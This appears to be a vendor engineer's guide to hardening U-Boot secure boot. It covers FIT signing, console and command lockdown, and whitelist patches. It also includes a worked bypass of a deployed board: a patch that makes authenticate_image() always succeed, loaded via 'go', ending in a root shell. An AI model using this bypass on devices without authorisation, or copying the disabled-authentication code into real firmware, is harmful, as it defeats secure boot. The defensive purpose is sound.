Overview

Many embedded systems implementing software authentication (secure boot and chain of trust) use U-Boot as their bootloader. Making sure this bootloader is properly secured so that someone cannot bypass your chain of trust and boot unauthenticated software is very important. We have commonly seen field-deployed embedded systems with secure boot setups which fail to mitigate against the direct execution of unauthenticated software from U-Boot. To help prevent these sorts of attacks, we suggest considering three main categories of attack surface reduction: environmental tampering protection, software authentication, and command line access limitation.

If you are new to investigating and understanding these issues, feel free to skim over some of the more verbose example blocks and patchset information. These are not strictly necessary to gain an initial understanding.

 

Software Authentication and Signing

First and foremost, you’ll want to make sure your first bootloader (i.e. U-Boot) is signed and being authenticated by your processor’s ROM through whatever mechanism is provided. On NXP processors, this is called High Assurance Boot (HAB). We’re going to jump ahead and assume this has been completed. Once completed, we can focus on creating a complete chain of trust for the following boot stages.

Now, once this signed U-Boot has started execution, we’ll need U-Boot to properly check that any following stages are signed correctly before proceeding to boot into them. This can be processor dependent, wherein some silicon vendors provide a ROM-based API for authenticating signed binaries. Those specific mechanisms (e.g. NXP AHAB containerization) are out of the scope of this article, so we’ll assume a common approach is being used. We tend to use a Flattened Image Tree (FIT) to bundle together the following boot stages. U-Boot then has built in mainline mechanisms which can be used to sign and authenticate the entire FIT bundle before booting.

A FIT image is defined by its Image Tree Source (ITS) file. This ITS file tends to look something like:

/dts-v1/;

/ {
        description = "U-Boot fitImage for Poky (Yocto Project Reference Distro)/1.0/imx8qxp-b0-mek";
        #address-cells = <1>;

        images {
                kernel-1 {
                        description = "Linux kernel";
                        data = /incbin/("Image");
                        type = "kernel";
                        arch = "arm64";
                        os = "linux";
                        compression = "none";
                        load = <0x80200000>;
                        entry = <0x80200000>;
                        hash-1 {
                                algo = "sha1";
                        };
                };
                fdt-1 {
                        description = "Flattened Device Tree blob";
                        data = /incbin/("imx8qxp-mek-ov5640-rpmsg.dtb");
                        type = "flat_dt";
                        arch = "arm64";
                        compression = "none";
                        load = <0x83000000>;
                        entry = <0x83000000>;
                        hash-1 {
                                algo = "sha1";
                        };
                };
                ramdisk-1 {
                        description = "timesys-initramfs-imx8qxp-b0-mek.cpio.gz";
                        data = /incbin/("timesys-initramfs-imx8qxp-b0-mek.cpio.gz");
                        type = "ramdisk";
                        arch = "arm64";
                        os = "linux";
                        compression = "gzip";
                        load = <0xd0000000>;
                        entry = <0xd0000000>;
                        hash-1 {
                                algo = "sha1";
                        };
                };
        };

        configurations {
                default = "conf-1";
                conf-1 {
                        description = "Linux kernel, FDT blob, ramdisk";
                        kernel = "kernel-1";
                        fdt = "fdt-1";
                        ramdisk = "ramdisk-1";
                        hash-1 {
                                algo = "sha1";
                        };
                };
        };
};

In here, we see there is a main configuration node which contains entries for the Linux kernel image, device tree blob, and initramfs.

This ITS is then compiled into the fitImage file via uboot-mkimage:

uboot-mkimage -D "-I dts -O dtb -p 2000" -f image.its fitImage

Then, we can sign this fitImage file with:

uboot-mkimage -D "-I dts -O dtb -p 2000" -F -k "/key_directory" -r fitImage

Where /key_directory is a directory which contains your RSA key pair for signing the fitImage. These can be generated using OpenSSL by:

cd /key_directory
openssl genpkey -algorithm RSA -out dev.key -pkeyopt rsa_keygen_bits:2048 -pkeyopt rsa_keygen_pubexp:65537
openssl req -batch -new -x509 -key dev.key -out dev.crt

You’ll also need U-Boot to be set up for FIT image booting and signing, otherwise uboot-mkimage will throw an error:

#ifdef CONFIG_FIT_SIGNATURE
	fprintf(stderr,
		"Signing / verified boot options: [-k keydir] [-K dtb] [ -c <comment>] [-p addr] [-r] ...\n"
		"          -k => set directory containing private keys\n"
		"          -K => write public keys to this .dtb file\n"
		"          -G => use this signing key (in lieu of -k)\n"
		"          -c => add comment in signature node\n"
		"          -F => re-sign existing FIT image\n"
		"          -p => place external data at a static position\n"
		"          -r => mark keys used as 'required' in dtb\n"
		"          -N => openssl engine to use for signing\n");
#else
	fprintf(stderr,
		"Signing / verified boot not supported (CONFIG_FIT_SIGNATURE undefined)\n");
#endif

To do this, you can set these config options in U-Boot:

CONFIG_SECURE_BOOT=y
CONFIG_FIT=y
CONFIG_FIT_SIGNATURE=y
CONFIG_FIT_VERBOSE=y
CONFIG_DEFAULT_FDT_FILE="u-boot-signed-devicetree.dtb"

Then, once U-Boot is compiled, we can add the public key into U-Boot’s compiled DTB. To do that, we’ll first need to create a dummy FIT image using this dummy ITS file:

/dts-v1/;

/ {
    description = "U-Boot Simple fitImage";
    #address-cells = <1>;

    images {
        dummy-1 {
            description = "dummy";
            data = /incbin/("empty_placeholder_file");
            type = "kernel";
            arch = "arm";
            os = "linux";
            compression = "none";
            load = <0x80008000>;
            entry = <0x80008000>;
            hash-1 {
                algo = "sha1";
            };
        };
    };

    configurations {
        default = "conf-1";
        conf-1 {
            description = "dummy";
            dummy = "dummy-1";
			hash-1 {
				algo = "sha1";
			};
			signature-1 {
				algo = "sha1,rsa2048";
				key-name-hint = "dev";
				sign-images = "dummy";
			};
        };
    };
};

Note: it is important to have the signature-1 node inside the configuration node here, instead of putting signature nodes on each image piece. With this layout, all of the associated image hashes are contained within the configuration signature, so someone cannot swap in different signed images and perform a version rollback attack by changing one image/binary in your FIT bundle separately.

We then package this dummy ITS into a file named simpleFitImage:

uboot-mkimage -D "-I dts -O dtb -p 2000" -f simple.its simpleFitImage

Then we can sign our actual U-Boot DTB, while using the simpleFitImage as a reference (for the signature-1 node):

uboot-mkimage -D "-I dts -O dtb -p 2000" -F -k "/key_directory" -K imx8.dtb -r simpleFitImage

If we decompile the resulting, signed DTB:

dtc -I dtb -O dts -o imx8_decompiled.dts imx8.dtb

Inside, we now see this node:

signature {
    key-dev {
        required = "conf";
        algo = "sha1,rsa2048";
        rsa,r-squared = <0x26b42979 0xf91dba64 0x11c5cab5 0x8273b76e 0xdc7562f3 0xcdd3742c ... etc>;
        rsa,modulus = <0xb4aac057 0xbddc7ce8 0x3c4d48b3 0x622d6e95 0xb09eb6c6 0xafc3c9d7 ... etc>;
        rsa,exponent = <0x00 0x10001>;
        rsa,n0-inverse = <0x5a7322b9>;
        rsa,num-bits = <0x800>;
        key-name-hint = "dev";
    };
};

Now, when booting via bootm, if the signature is bad/missing you should see an error similar to this:

## Loading kernel from FIT Image at ... ...
   Using 'conf@1' configuration
   Verifying Hash Integrity ... sha1,rsa2048:dev_bad- Failed to verify required signature 'key-dev'
Bad Data Hash

If there are no errors, each node should show a correct signature check similar to this:

## Loading kernel from FIT Image at ... ...
   Using 'conf-1' configuration
   Verifying Hash Integrity ... sha1,rsa2048:dev+ OK
   Trying 'kernel-1' kernel subimage

U-Boot’s Environment Pitfalls

This is one of the reasons U-Boot is so commonly liked. The entire boot flow is setup and controlled through environmental parameters. When U-Boot boots, it runs the specified set of commands listed inside the bootcmd parameter. So, by modifiying this, we can easily boot into alternate images or quickly make minor modifications to the boot process. When it comes to security, this becomes a double-edged sword. In a field-deployed embedded system, we do not want someone to be able to tamper with the environment and arbitrarily execute whatever U-Boot commands they would like.

So, how can we prevent this? Unfortunately, U-Boot does not offer an easy way to sign/authenticate or encrypt the environment. It’s usually easier to disable the other exploitable paths someone may use.

To start we can limit access to the U-Boot command line interface (CLI) via:

  • Disabling/Password Protecting Autoboot Interrupt
  • Disabling the serial console

Once those two are done, if your U-Boot environment never needs to change, you can make sure it is not stored in nonvolatile memory by setting this in your U-Boot configuration:

CONFIG_ENV_IS_NOWHERE=y

With these measures in place, there’s little left for an attacker to turn to when trying to modify your environment. They may still be able to perform a more cumbersome attack such as RAM modification/injection via JTAG or another means, but these attack vectors should also be limited (i.e. Make sure you disable JTAG in accordance if your processor’s reference manual).

If you do need your environment to remain modifiable due to something such as software update management, this becomes a bit trickier. With the environment stored in a nonvolatile device, you’re now subject to offline tampering of the storage device. This can still be mitigated against quite well by disabling any dangerous U-Boot commands. If all of the enabled U-Boot commands are benign (i.e. properly require signed software and cannot be used to modify memory), then you’re safe from environmental tampering too.

Now, with a cursory understanding of these environment-related pitfalls, let’s look into securing them.

 

Autoboot Interruption

I’m sure you’ve seen it before… When U-Boot starts, the serial console displays a 3 second countdown. If you enter a keystroke, you’re taken to U-Boot’s command line interface. So, if this is left enabled, anyone with access to your serial pins can easily stop U-Boot’s autoboot sequence and tamper with everything that’s left available to them (environment modification, unprotected boot commands, etc).

To disable autoboot interruption entirely, you’ll want to set this in your U-Boot configuration:

CONFIG_BOOTDELAY=-2

Note: This does not entirely prevent command prompt access. If a Linux/OS boot fails, U-boot may fall into the CLI. This is why it is still important to disable the serial console entirely. Or, at least patch U-Boot so that it will not enter the CLI after a failed autoboot sequence (appending the reset command to the end of your boot sequence can sometimes work as a fall through fail-safe).

 

Autoboot Password Protection

If disabling autoboot interruption is too extreme for your use case, you can add a sha256-backed interruption password. Be sure to make this string as long as possible, to avoid brute forcing (20+ characters!).

This can be performed by enabling the following in your U-Boot configuration:

 

CONFIG_AUTOBOOT_KEYED=y
CONFIG_AUTOBOOT_ENCRYPTION=y
CONFIG_AUTOBOOT_STOP_STR_SHA256="..."

As previously mentioned, if a Linux/OS boot fails, U-boot may still open up the CLI. So, this does not necessarily offer full protection.

 

Command Line Disablement

You can also consider disabling the U-Boot command line by turning this off:

# CONFIG_CMD_CMDLINE is not set

Most customers still want some form of the CLI left enabled for configuration and software update handling, so this is not an option we see commonly used. With this disabled, when a command is entered/run, U-Boot falls into this block:

__weak int board_run_command(const char *cmdline)
{
	printf("## Commands are disabled. Please enable CONFIG_CMDLINE.\n");

	return 1;
}

Console Disablement

To entirely disable the U-Boot console, append this to your defconfig:

CONFIG_DISABLE_CONSOLE=y

You’ll then need to set this in arch_cpu_init(or another corresponding function) to turn it on:

gd->flags |= GD_FLG_SILENT | GD_FLG_DISABLE_CONSOLE;

So for example,

From: Nathan Barrett-Morrison <nathan.morrison@timesys.com>
Date: Tue, 12 Apr 2022 19:04:34 -0400
Subject: [PATCH] Disable u-boot console

---
 arch/arm/cpu/armv7/sc58x/soc.c | 2 ++
 configs/sc589-ezkit_defconfig  | 1 +
 2 files changed, 3 insertions(+)

diff --git a/arch/arm/cpu/armv7/sc58x/soc.c b/arch/arm/cpu/armv7/sc58x/soc.c
index c4a4845114..87fa369de4 100644
--- a/arch/arm/cpu/armv7/sc58x/soc.c
+++ b/arch/arm/cpu/armv7/sc58x/soc.c
@@ -34,6 +34,8 @@ void v7_outer_cache_enable(void)
 
 int arch_cpu_init(void)
 {
+     gd->flags |= GD_FLG_SILENT | GD_FLG_DISABLE_CONSOLE;
+
 #ifdef CONFIG_DEBUG_EARLY_SERIAL
     return serial_early_init();
 #else
diff --git a/configs/sc589-ezkit_defconfig b/configs/sc589-ezkit_defconfig
index 7b978aeded..4da70a8f8f 100644
--- a/configs/sc589-ezkit_defconfig
+++ b/configs/sc589-ezkit_defconfig
@@ -27,3 +27,4 @@ CONFIG_SPI=y
 CONFIG_USB=y
 CONFIG_USB_MUSB_HCD=y
 CONFIG_OF_LIBFDT=y
+CONFIG_DISABLE_CONSOLE=y

Kernel Command Line Parameters

You should also make sure that the kernel command line parameters which U-Boot passes to the kernel (bootargs in U-Boot’s environment) cannot be modified to anything unexpected. If modification is allowed, someone can easily pass an unexpected argument to a driver or even set init= or rdinit= to /bin/sh to gain access to a shell.

I like to do this by checking that the bootargs match an expected string. So, if we have two sets of acceptable boot arguments, we might do:

From: Nathan Barrett-Morrison <nathan.morrison@timesys.com>
Date: Mon, 1 Nov 2021 16:39:01 -0400
Subject: [PATCH] Add in basic tamper detection for u-boot's bootargs variable,
 so that someone can not modify kernel boot arguments

---
 common/bootm.c | 8 ++++++++
 1 file changed, 8 insertions(+)

diff --git a/common/bootm.c b/common/bootm.c
index db4362a643..ca913ce945 100644
--- a/common/bootm.c
+++ b/common/bootm.c
@@ -524,6 +524,14 @@ int do_bootm_states(cmd_tbl_t *cmdtp, int flag, int argc, char * const argv[],
     boot_os_fn *boot_fn;
     ulong iflag = 0;
     int ret = 0, need_boot_fn;
+    static char* bootargs_a = "root=/dev/mmcblk2p2 console=ttymxc0,115200 rootwait rw";
+    static char* bootargs_b = "root=/dev/mmcblk2p3 console=ttymxc0,115200 rootwait rw";
+    char* bootargs = env_get("bootargs");
+
+    if( (strcmp(bootargs_a, bootargs) != 0) && (strcmp(bootargs_b, bootargs) != 0) ){
+        printf("\nDetected tampering of bootargs: blocking...\n");
+        while(1);
+    }
 
     images->state |= states;

Concerning Commands

Here’s a non-comprehensive list of U-Boot configuration settings which could be disabled to reduce your attack surface:

U-Boot Configuration Description
CONFIG_CMD_GO This is the equivalent of an assembly jump/branch operation. It allows an attacker to change execution to any arbitrary address.
CONFIG_CMD_BOOTI
CONFIG_CMD_BOOTZ
CONFIG_CMD_BOOTEFI
CONFIG_CMD_ELF
CONFIG_CMD_ABOOTIMG
CONFIG_CMD_ADTIMG
Assuming we’re using the signed FIT image strategy, these should be disabled (as FIT uses CMD_BOOTM only). These commands open alternate boot paths (booti, bootz, bootelf, bootvx, bootefi, android boot images)
CONFIG_CMD_MEMORY Enables memory dumping (md), memory writing (mw), and other memory operations
CONFIG_CMD_SMC
CONFIG_CMD_HVC
Enables injecting secure monitor calls. This could be concerning if you’re using ATF-A + OP-TEE
CONFIG_CMD_NET
CONFIG_CMD_USB
CONFIG_USB_STORAGE
CONFIG_CMD_BOOTP
CONFIG_CMD_TFTPBOOT
These can be used to externally load images from USB devices, network transfers, etc
CONFIG_CMD_REMOTEPROC
CONFIG_CMD_ICC
CONFIG_CMD_FPGA
Enables controlling secondary cores and FPGAs
CONFIG_CMD_IMI Enables dumping image info (iminfo)
CONFIG_CMD_I2C
CONFIG_CMD_SPI
Leaving this enabled may allow an attacker to modify your I2C/SPI/etc devices. This could give access to sorts of devices, including power management units.
CONFIG_CMD_DIAG
CONFIG_CMD_IRQ
CONFIG_CMD_BDI
and more
I would classify these as unnecessary information leakage. While not explicitly bad, they may give an attacker information you don’t want them to have (such as stack pointer locations, memory sizes, etc).

Again, this is not a complete list. In fact, it ultimately may be better to create a whitelist of known, acceptable commands and blacklist everything else. If you don’t need a command, disable it!

Also, given we’re booting via a signed FIT image, this uses the bootm command. I like to further secure this command by deleting any alternate boot paths from the code (in case someone mistakenly leaves the associated CONFIG options enabled).

To make sure bootm requires an authenticated FIT image, I do the following:

From: Nathan Barrett-Morrison <nathan.morrison@timesys.com>
Date: Wed, 25 Aug 2021 07:38:05 -0400
Subject: [PATCH] Make FIT the only bootm option

---
 cmd/bootm.c | 13 ++-----------
 1 file changed, 2 insertions(+), 11 deletions(-)

diff --git a/cmd/bootm.c b/cmd/bootm.c
index 03ea3b8998..d164f71572 100644
--- a/cmd/bootm.c
+++ b/cmd/bootm.c
@@ -163,17 +163,8 @@ int do_bootm(cmd_tbl_t *cmdtp, int flag, int argc, char * const argv[])
 #else
 
     switch (genimg_get_format((const void *)image_load_addr)) {
-#if defined(CONFIG_LEGACY_IMAGE_FORMAT)
-    case IMAGE_FORMAT_LEGACY:
-        if (authenticate_image(image_load_addr,
-            image_get_image_size((image_header_t *)image_load_addr)) != 0) {
-            printf("Authenticate uImage Fail, Please check\n");
-            return 1;
-        }
-        break;
-#endif
-#ifdef CONFIG_ANDROID_BOOT_IMAGE
-    case IMAGE_FORMAT_ANDROID:
+#ifdef CONFIG_FIT
+    case IMAGE_FORMAT_FIT:
         /* Do this authentication in boota command */
         break;
 #endif

In newer versions of U-Boot, most this logic has moved to common/bootm.c, under boot_get_kernel() and bootm_find_os().

 

Real World Example

Our customers commonly send us boards with field deployment issues. A lot of times, these boards have been permanently secured using some form of secure boot technology. In these cases, I try to avoid asking for possession of the associated private keys, as that opens up more attack vectors for the customer (if someone were to compromise one of my machines/etc). So, I’m sometimes left in a position where it would be nice to run a new software image, but I cannot do so because it’s unsigned. Sometimes we have to wait for the customer to sign the new software image for us… and sometimes, we find another way.

Here’s a recent board I received:

U-Boot dub-2017.03-r11.2+gf9055c2 (Mar 14 2022 - 12:42:45 +0000)

CPU:   Freescale i.MX6DL rev1.3 at 792MHz
CPU:   Industrial temperature grade (-40C to 105C) at 35C
Reset cause: POR
I2C:   ready
DRAM:  512 MiB
MMC:   FSL_SDHC: 0, FSL_SDHC: 1
In:    serial
Out:   serial
Err:   serial
Model: ...
Board: ...
Boot device: MMC4
PMIC:  DA9063, Device: 0x61, Variant: 0x60, Customer: 0x00, Config: 0x56
Net:   Board Net Initialization Failed
No ethernet found.
Hit any key to stop autoboot:  0 
=> 

It has an external SD card slot… so let’s see if we could easily change the MMC boot device from its internal eMMC to the external SD card.

Can we switch between devices?

=> mmc dev 0
switch to partitions #0, OK
mmc0(part 0) is current device
=> mmc dev 1
switch to partitions #0, OK
mmc1 is current device

Yep, that worked, device 1 is our SD card.

What about changing the boot device?

=> printenv bootcmd
bootcmd=if run loadscript; then setexpr bs_ivt_offset ${filesize} - 0x4020;if hab_auth_img ${loadaddr} ${bs_ivt_offset}; then source ${loadaddr};fi; fi;
=> printenv loadscript
loadscript=load mmc ${mmcbootdev}:${mmcpart} ${loadaddr} ${script}
=> printenv mmcbootdev
mmcbootdev=0
=> editenv mmcbootdev
edit: 1
## Error: Can't overwrite "mmcbootdev"
## Error inserting "mmcbootdev" variable, errno=1

We can see U-Boot appears to be hardened against changing the MMC boot device. Interesting.

What if we just directly run a modified boot command instead of modifying the environment? I happen to have a kernel image and device tree built for this board on my SD card already:

=> fatls mmc 1:1
  5710976   zImage-imx6.bin
    51503   zImage-imx6dl-imx6.dtb
     2430   boot.scr 
=> fatload mmc 1:1 ${loadaddr} zImage-imx6.bin
reading zImage-imx6.bin
5710976 bytes read in 289 ms (18.8 MiB/s)
=> printenv loadaddr
loadaddr=0x12000000
=> fatload mmc 1:1 0x18000000 zimage-imx6dl.dtb
reading zimage-imx6dl-ccimx6-iotest.dtb
51503 bytes read in 31 ms (1.6 MiB/s)
=> bootz 0x12000000 - 0x18000000                          
Kernel image @ 0x12000000 [ 0x000000 - 0x572480 ]
## Flattened Device Tree blob at 18000000
   Booting using the fdt blob at 0x18000000
   Authenticating image from DDR location 0x18000000... FAILED!
hab entry function fail

Secure boot enabled

We can see U-Boot also appears to be hardened against booting an unsigned kernel image. What else can we try?

=> go
go - start application at address 'addr'

Usage:
go addr [arg ...]
    - start application at address 'addr'
      passing 'arg' as arguments

go was left enabled on this board and most likely does not contain any signature checking.

Let’s try to jump into a custom built U-Boot version using go. First, let’s dump some memory info.

=> bdinfo
arch_number = 0x00001323
boot_params = 0x10000100
DRAM bank   = 0x00000000
-> start    = 0x10000000
-> size     = 0x20000000
current eth = unknown
ip_addr     = 192.168.42.30
baudrate    = 115200 bps
TLB addr    = 0x2FFF0000
relocaddr   = 0x2FF4E000
reloc off   = 0x1874E000
irq_sp      = 0x2EF3DBA0
sp start    = 0x2EF3DB90
Early malloc usage: ec / 400

Okay, so they have 512MB of RAM ranging from 0x10000000 to 0x30000000. We can see most of U-Boot has also been relocated to the upper region of memory. This is important to know, as booting another instance of U-Boot requires not trampling over the current stack/bss/etc.

Lets trick U-Boot into thinking it only has 256MB of RAM and rearrange some addresses so the new instance of U-Boot will not overlap any of these regions:

From: Nathan Barrett-Morrison <nathan.morrison@timesys.com>
Date: Thu, 14 Apr 2022 14:28:59 -0400
Subject: [PATCH] Allow U-Boot to boot from another currently running version
 of U-Boot via 'go'

---
 arch/arm/imx-common/hab.c       | 4 ++++
 board/vendor/imx6/imx6.c      | 2 +-
 common/board_f.c                | 7 ++++---
 common/board_r.c                | 4 ++++
 include/configs/imx6_common.h | 5 ++++-
 5 files changed, 17 insertions(+), 5 deletions(-)

diff --git a/arch/arm/imx-common/hab.c b/arch/arm/imx-common/hab.c
index fc970641d1..ec699967c8 100644
--- a/arch/arm/imx-common/hab.c
+++ b/arch/arm/imx-common/hab.c
@@ -629,6 +629,10 @@ static int validate_ivt(int ivt_offset, ulong start_addr)
 
 uint32_t authenticate_image(uint32_t ddr_start, uint32_t image_size)
 {
+    //Disable HAB security!    
+    //Always return true, even for unauthenticated images
+    return 1;
+
     ulong load_addr = 0;
     size_t bytes;
     ptrdiff_t ivt_offset = 0;
diff --git a/board/vendor/imx6/imx6.c b/board/vendor/imx6/imx6.c
index 3ec90f0369..58d580eb21 100644
--- a/board/vendor/imx6/imx6.c
+++ b/board/vendor/imx6/imx6.c
@@ -252,7 +252,7 @@ static struct imx6_variant imx6_variants[] = {
 /* 0x13 - 55001818-19 */
     {
         IMX6DL,
-        MEM_512MB,
+        MEM_256MB,




diff --git a/common/board_f.c b/common/board_f.c
index 7e40a35bb1..1e87cd1b89 100644
--- a/common/board_f.c
+++ b/common/board_f.c
@@ -359,13 +359,14 @@ static int setup_dest_addr(void)
      * thie mechanism. If memory is split into banks, addresses
      * need to be calculated.
      */
-    gd->ram_size = board_reserve_ram_top(gd->ram_size);
+    //Force the RAM size to 256MB
+    gd->ram_size = 0x10000000;
 
 #ifdef CONFIG_SYS_SDRAM_BASE
     gd->ram_top = CONFIG_SYS_SDRAM_BASE;
 #endif
-    gd->ram_top += get_effective_memsize();
-    gd->ram_top = board_get_usable_ram_top(gd->mon_len);
+    //Force the top of RAM to be at 0x20000000 instead of 0x30000000
+    gd->ram_top = 0x20000000;
     gd->relocaddr = gd->ram_top;
     debug("Ram top: %08lX\n", (ulong)gd->ram_top);
 #if defined(CONFIG_MP) && (defined(CONFIG_MPC86xx) || defined(CONFIG_E500))
diff --git a/common/board_r.c b/common/board_r.c
index 2b14e3d9f8..14747f1b4b 100644
--- a/common/board_r.c
+++ b/common/board_r.c
@@ -487,6 +487,10 @@ static int should_load_env(void)
 
 static int initr_env(void)
 {
+    //Always use the default environment -- don't read from nonvolatile storage
+    set_default_env(NULL);
+    return 0;
+
     /* initialize environment */
     if (should_load_env())
         env_relocate();
diff --git a/include/configs/imx6_common.h b/include/configs/imx6_common.h
index 7061a473d8..c21b0926ce 100644
--- a/include/configs/imx6_common.h
+++ b/include/configs/imx6_common.h
@@ -41,11 +41,14 @@
 /*
  * RAM
  */
+//Limit the amount of memory we're allowed to map to 256MB
+#define CONFIG_MAX_MEM_MAPPED       0x10000000
 #define CONFIG_LOADADDR             0x12000000
 #define CONFIG_SYS_LOAD_ADDR        CONFIG_LOADADDR
 #define CONFIG_DIGI_LZIPADDR        0x15000000
 #define CONFIG_DIGI_UPDATE_ADDR     CONFIG_LOADADDR
-#define CONFIG_SYS_TEXT_BASE        0x17800000
+//Move the starting text base to a lower region
+#define CONFIG_SYS_TEXT_BASE        0x12800000
 /* RAM memory reserved for U-Boot, stack, malloc pool... */
 #define CONFIG_UBOOT_RESERVED       (10 * 1024 * 1024)
 /* Size of malloc() pool */

Now, we build and store this U-Boot image on our SD card at an offset of 0x1000. Along with our custom Linux kernel, DTB, and file system.

U-Boot 2017.03-r11.2+gf9055c2 (Mar 14 2022 - 12:42:45 +0000)
...
=> mmc dev 1; mmc read 0x12800000 8 1000; go 0x12800000

U-Boot 2017.03-r2.3+g2002510765 (Mar 31 2022 - 22:52:18 +0000)
...
=> 

We’ve done it! We’re running an unsigned version of U-Boot!

Finishing the chain, we can boot all the way into Linux via:

U-Boot 2017.03-r2.3+g2002510765 (Mar 31 2022 - 22:52:18 +0000)
...
=> setenv mmc dev 1; setenv mmcroot /dev/mmcblk1p2; run mmcboot

Yocto 2.4-r3 imx6 /dev/ttymxc3
imx6 login: root

root@imx6:~# whoami
root

Command Whitelisting

So, what if you had a known subset of commands which were considered safe? How would you create a whitelist within U-Boot for this? A simple whitelist can be added to cmd_call() via something like this:

From: Nathan Barrett-Morrison <nathan.morrison@timesys.com>
Date: Mon, 20 Sep 2021 15:56:23 -0400
Subject: [PATCH] Lockdown U-boot to allow only a whitelist of commands to be
 used

---
 common/command.c                  | ...

diff --git a/common/command.c b/common/command.c
index 0d8bf244be..125dabd162 100644
--- a/common/command.c
+++ b/common/command.c
@@ -13,6 +13,7 @@
 #include <console.h>
 #include <env.h>
 #include <linux/ctype.h>
+#include <u-boot/sha256.h>
 
 /*
  * Use puts() instead of printf() to avoid printf buffer overflow
@@ -556,6 +557,42 @@ int cmd_discard_repeatable(cmd_tbl_t *cmdtp, int flag, int argc,
     return cmdtp->cmd_rep(cmdtp, flag, argc, argv, &repeatable);
 }
 
+//Create a whitelist of commands that can always be run inside U-Boot
+static char * customer_whitelist_table[] = {
+    "run",
+    "echo",
+    "bmode",
+    "fastboot",
+    "setenv",
+    "saveenv",
+    "mmc",
+    "bootm",
+    "ext4load",
+    "customer_authenticate",
+};
+
+#define CUSTOMER_WHITELIST_LENGTH ARRAY_SIZE(customer_whitelist_table)
+
+extern bool imx_hab_is_enabled(void);
+
+//Check if the current function name is within the whitelist
+static int customer_cmd_whitelist(char * name)
+{
+    if (imx_hab_is_enabled()){
+        for(int i = 0; i < CUSTOMER_WHITELIST_LENGTH; i++)
+        {
+            if(strcasecmp(customer_whitelist_table[i], name) == 0)
+            {
+                return 0;
+            }
+        }
+        printf("CUSTOMER Error: Attempted to run %s while unauthenticated\r\n", name);
+        return -1;
+    }else{
+        return 0;
+    }
+}
+
 /**
  * Call a command function. This should be the only route in U-Boot to call
  * a command, so that we can track whether we are waiting for input or
@@ -571,6 +608,13 @@ int cmd_discard_repeatable(cmd_tbl_t *cmdtp, int flag, int argc,
 static int cmd_call(cmd_tbl_t *cmdtp, int flag, int argc, char * const argv[],
             int *repeatable)
 {
+    //Only execute commands if they're in the whitelist or we're authenticated
+    if(customer_authentication != 1){
+        if(customer_cmd_whitelist(cmdtp->name) != 0){
+            return -1;
+        }
+    }
+
     int result;
 
     result = cmdtp->cmd_rep(cmdtp, flag, argc, argv, repeatable);

Note: imx_hab_is_enabled() is checking if secure boot is enabled on an NXP processor and will vary for you. Also, customer_authentication is another command that I will discuss more below. It’s used to give our customers the ability to disable the whitelist if a password is entered.

In cases where our customers do not want the entire CLI disabled, this will allow them to enter the CLI and then run ‘customer_authenticate password’ in order to bypass the whitelist and unlock all of U-Boot’s commands.

To do this, we’ll first enable autoboot password interruption again:

CONFIG_AUTOBOOT_KEYED=y
CONFIG_AUTOBOOT_ENCRYPTION=y
CONFIG_AUTOBOOT_STOP_STR_SHA256="..."

We then modify the passwd_abort_sha256 function to allow us to externally hook into it by passing in a password string. This string will be what is sent in from the password portion of ‘customer_authenticate password’.

From: Nathan Barrett-Morrison <nathan.morrison@timesys.com>
Date: Mon, 20 Sep 2021 15:56:23 -0400
Subject: [PATCH] Modify passwd_abort_sha256 so we can pass in an arbitrary password for verification

---
 common/autoboot.c                 | ...

diff --git a/common/autoboot.c b/common/autoboot.c
index 0a59b81ae2..13ea153531 100644
--- a/common/autoboot.c
+++ b/common/autoboot.c
@@ -75,7 +75,7 @@ static int slow_equals(u8 *a, u8 *b, int len)
  * @etime: Timeout value ticks (stop when get_ticks() reachs this)
  * @return 0 if autoboot should continue, 1 if it should stop
  */
-static int passwd_abort_sha256(uint64_t etime)
+static int passwd_abort_sha256(uint64_t etime, char * password)
 {
     const char *sha_env_str = env_get("bootstopkeysha256");
     u8 sha_env[SHA256_SUM_LEN];
@@ -109,32 +109,57 @@ static int passwd_abort_sha256(uint64_t etime)
      * generate the sha256 hash upon each input character and
      * compare the value with the one saved in the environment
      */
-    do {
-        if (tstc()) {
-            /* Check for input string overflow */
-            if (presskey_len >= MAX_DELAY_STOP_STR) {
-                free(presskey);
-                free(sha);
-                return 0;
-            }
 
-            presskey[presskey_len++] = getc();
+    if(password != NULL){
+        //This adds in ability to verify an arbitrary password string
 
-            /* Calculate sha256 upon each new char */
-            hash_block(algo_name, (const void *)presskey,
-                   presskey_len, sha, &size);
+        /* Calculate sha256 upon each new char */
+        hash_block(algo_name, (const void *)password,
+               strlen(password), sha, &size);
 
-            /* And check if sha matches saved value in env */
-            if (slow_equals(sha, sha_env, SHA256_SUM_LEN))
-                abort = 1;
-        }
-    } while (!abort && get_ticks() <= etime);
+        /* And check if sha matches saved value in env */
+        if (slow_equals(sha, sha_env, SHA256_SUM_LEN))
+            abort = 1;
+    }else{
+        do {
+            if (tstc()) {
+                /* Check for input string overflow */
+                if (presskey_len >= MAX_DELAY_STOP_STR) {
+                    free(presskey);
+                    free(sha);
+                    return 0;
+                }
+
+                presskey[presskey_len++] = getc();
+
+                /* Calculate sha256 upon each new char */
+                hash_block(algo_name, (const void *)presskey,
+                       presskey_len, sha, &size);
+
+                /* And check if sha matches saved value in env */
+                if (slow_equals(sha, sha_env, SHA256_SUM_LEN))
+                    abort = 1;
+            }
+        } while (!abort && get_ticks() <= etime);
+    }
 
     free(presskey);
     free(sha);
+
+    //1 = Authentication successful
+    //0 = Authentication failed
+    customer_authentication = abort;
+
     return abort;
 }
 
+//New function to allow us to hook pre-existing password
+//verification infrastructure with a passed string pointer
+int passwd_abort_sha256_string(char * password)
+{
+    passwd_abort_sha256(0, password);
+}
+

On this NXP processor, I also modified the autoboot interruption password to only be enabled while secure boot (HAB) is enabled. So, during development, you can still easily interrupt U-Boot with a single keystroke.

From: Nathan Barrett-Morrison <nathan.morrison@timesys.com>
Date: Mon, 20 Sep 2021 15:56:23 -0400
Subject: [PATCH] Only check the autoboot password if HAB is enabled

 common/autoboot.c                 | ...

...

 /**
  * passwd_abort_key() - check for a key sequence to aborted booting
  *
@@ -189,6 +214,7 @@ static int passwd_abort_key(uint64_t etime)
      */
     do {
         if (tstc()) {
+            return 1; //Abort if any key is pressed (until HAB fuses are burned)
             if (presskey_len < presskey_max) {
                 presskey[presskey_len++] = getc();
             } else {
@@ -220,6 +246,8 @@ static int passwd_abort_key(uint64_t etime)
     return abort;
 }
 
+extern bool imx_hab_is_enabled(void);
+
 /***************************************************************************
  * Watch for 'delay' seconds for autoboot stop or autoboot delay string.
  * returns: 0 -  no key string, allow autoboot 1 - got key string, abort
@@ -236,9 +264,8 @@ static int abortboot_key_sequence(int bootdelay)
      */
